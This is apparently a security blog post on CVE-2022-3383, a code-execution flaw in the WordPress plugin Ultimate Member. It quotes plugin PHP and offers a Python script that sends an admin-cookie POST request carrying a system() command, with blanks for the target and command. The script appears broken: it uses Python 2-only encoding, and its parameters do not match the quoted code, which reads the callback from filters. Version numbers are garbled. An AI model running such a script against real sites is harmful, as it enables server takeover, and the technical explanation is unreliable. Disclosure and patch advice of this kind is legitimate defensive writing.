Staying updated with the latest security vulnerabilities is critical for ensuring a secure web presence. One such vulnerability, identified as CVE-2022-3383, has been discovered within a popular WordPress plugin called Ultimate Member. In this blog post, we will provide a detailed analysis of the vulnerability, along with exploitation details to help you stay informed and protect your website.

Overview

Ultimate Member is a widely used plugin for WordPress, aimed at creating advanced user profiles and membership sites. The plugin has over 200,000 active installations, making it a prime target for potential attackers.

The vulnerability in question (CVE-2022-3383) affects Ultimate Member versions up to and including 2.5.. It is a Remote Code Execution (RCE) vulnerability that allows an authenticated attacker with administrative capabilities to execute arbitrary code on the server.

Technical Analysis

The RCE vulnerability resides in the get_option_value_from_callback() function, which can be found in the Ultimate Member plugin's core file (plugin/ultimate-member/includes/core/class-functions.php). The problematic code is as follows:

public function um_get_option( $option_id ) {
	$option_value = false;

	if ( isset( $this->options[ $option_id ] ) ) {
		$option_value = $this->options[ $option_id ];
	} else {
		$option_value = $this->_get_option_value_from_callback( $option_id );
	}

	return apply_filters("um_get_option_{$option_id}", $option_value );
}

private function _get_option_value_from_callback( $option_id ) {
	$callback    = apply_filters( "um_get_option_value_from_callback", false, $option_id );
	$option_name = apply_filters( "um_get_option_name_from_callback", false, $option_id );

	if ( is_callable( $callback ) && $option_name ) {
		$option_value = call_user_func( $callback, $option_name );
	} else {
		$option_value = false;
	}

	return $option_value;
}

The vulnerability stems from the fact that user-supplied input is passed through the call_user_func() function, a native PHP function that can execute user-defined callback functions. An attacker with administrative privileges can exploit this by sending a specially crafted request to the server.

Original references

- CVE Identifier: CVE-2022-3383
- Ultimate Member plugin: WordPress plugin page

Exploit Details

To successfully exploit the vulnerability, the attacker needs to be authenticated and have administrative capabilities on the target WordPress installation. The malicious payload would be sent through a crafted HTTP POST request to the server.

The following Python script can be used to automate the exploitation process

import requests

target_url = "https://your-vulnerable-site.com/wp-admin/admin-ajax.php?action=um_get_option";
admin_cookie = {"wordpress_logged_in_[hash]": "your_admin_cookie"}

payload = {
	"option_id": "some_option",
	"um_get_option_name_from_callback": "some_value"
}

# Add your PHP code here
php_code = "system('your command here');"

payload["um_get_option_value_from_callback"] = "base64_decode('{}');".format(php_code.encode("base64"))

response = requests.post(target_url, data=payload, cookies=admin_cookie)

print(response.text)

Replace the target URL, admin_cookie, and desired PHP code before executing the script.

Mitigation

The vulnerability has been patched in Ultimate Member version 2.5.1. It is highly recommended to update the plugin to the latest version to protect your website against this and other potential vulnerabilities.

Conclusion

CVE-2022-3383 is a critical RCE vulnerability that affects Ultimate Member plugin versions up to 2.5.. By understanding its technical implications and taking appropriate mitigation steps, you can secure your WordPress site and safeguard it from malicious attackers. Remember always to keep your plugins and WordPress core up-to-date to minimize the risk of security vulnerabilities.

Timeline

Published on: 11/29/2022 21:15:00 UTC
Last modified on: 12/01/2022 20:14:00 UTC